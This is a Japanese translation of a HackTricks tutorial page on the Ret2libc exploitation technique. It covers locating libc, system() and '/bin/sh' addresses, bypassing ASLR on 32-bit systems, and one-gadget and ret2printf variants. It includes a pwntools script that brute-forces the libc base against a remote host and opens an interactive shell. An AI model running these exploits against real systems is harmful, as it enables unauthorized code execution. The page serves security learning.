Ret2lib

AWSハッキングの学習と練習:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングの学習と練習: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksのサポート

基本情報

Ret2Libcの本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ(たとえばsystemexecvestrcpy)内の関数にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更し、同時に呼び出し規約に従って必要な引数を適切に設定するように配置します。

手順の例(簡略化)

  • 呼び出す関数(たとえばsystem)のアドレスと呼び出すコマンド(たとえば/bin/sh)を取得する

  • 最初の引数をコマンド文字列を指すようにし、実行フローを関数に渡すためのROPチェーンを生成する

アドレスの検索

  • 現在のマシンで使用されているlibcがどこにメモリにロードされるかは、次のコマンドで確認できます:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 使用されているlibcを知っていると、system関数へのオフセットを見つけることも可能です:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 使用されているlibcを知っている場合、文字列 /bin/sh 関数へのオフセットを見つけることも可能です:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEFを使用する

使用しているlibcを知っている場合、PedaまたはGEFを使用して、system関数、exit関数、および文字列**/bin/sh**のアドレスを取得することも可能です:

p system
p exit
find "/bin/sh"

/proc/<PID>/mapsを使用する

プロセスが子プロセスを作成している場合(ネットワークサーバーの場合)、そのファイルを読み取ろうとしてみてください(おそらくroot権限が必要になるかもしれません)。

ここで、プロセス内でlibcがロードされている正確な場所と、プロセスの各子プロセスにロードされる場所がわかります。

この場合、0xb75dc000にロードされています(これがlibcのベースアドレスになります)

未知のlibc

バイナリがロードしているlibcがわからない可能性があります(アクセス権がないサーバーにあるかもしれません)。その場合、脆弱性を悪用していくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているかを見つけることができます:

Leaking libc address with ROP

また、これに対するpwntoolsのテンプレートを以下で見つけることができます:

Leaking libc - template

2つのオフセットでlibcを知る

ページhttps://libc.blukat.me/をチェックし、libc内の関数のいくつかのアドレスを使用して使用されているバージョンを特定します。

32ビットでASLRをバイパスする

これらのブルートフォース攻撃は32ビットシステムにのみ有用です。

  • 攻撃がローカルの場合、libcのベースアドレスをブルートフォースすることができます(32ビットシステムに有用):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバーを攻撃する場合、libc関数usleepのアドレスを10(例)として試行することができます。サーバーが10秒追加で応答するようになったら、この関数のアドレスを見つけました。

ワンガジェット

libc内の特定のアドレスにジャンプしてシェルを実行します:

One Gadget

x86 Ret2libコード例

この例では、ASLRブルートフォースがコードに統合されており、脆弱性のあるバイナリがリモートサーバーに配置されています:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib コード例

以下の例を確認してください:

ROP - Return Oriented Programing

ARM64 Ret2lib 例

ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし、スタックレジスタが指す場所にはジャンプしません。そのため、少し複雑です。

また、ARM64では命令がそのままの動作をします(命令の途中でジャンプして新しい命令に変換することはできません)。

以下の例を確認してください:

Ret2lib + Printf leak - arm64

Ret-into-printf (またはputs)

これにより、printf/puts を呼び出して特定のデータを引数として渡すことで、プロセスから情報を漏洩させることができます。たとえば、GOT 内の puts のアドレスを puts の実行に置くことで、メモリ内の puts のアドレスを漏洩させることができます。

Ret2printf

これは、ret2lib を使用して printf フォーマット文字列の脆弱性に変換するRet2libの悪用を意味します。ret2lib を使用して、それを悪用するための値を持って printf を呼び出します(無駄に聞こえるかもしれませんが、可能です):

Format Strings

その他の例と参照

AWS ハッキングの学習と実践:HackTricks Training AWS Red Team Expert (ARTE) GCP ハッキングの学習と実践:HackTricks Training GCP Red Team Expert (GRTE)

HackTricks のサポート

Last updated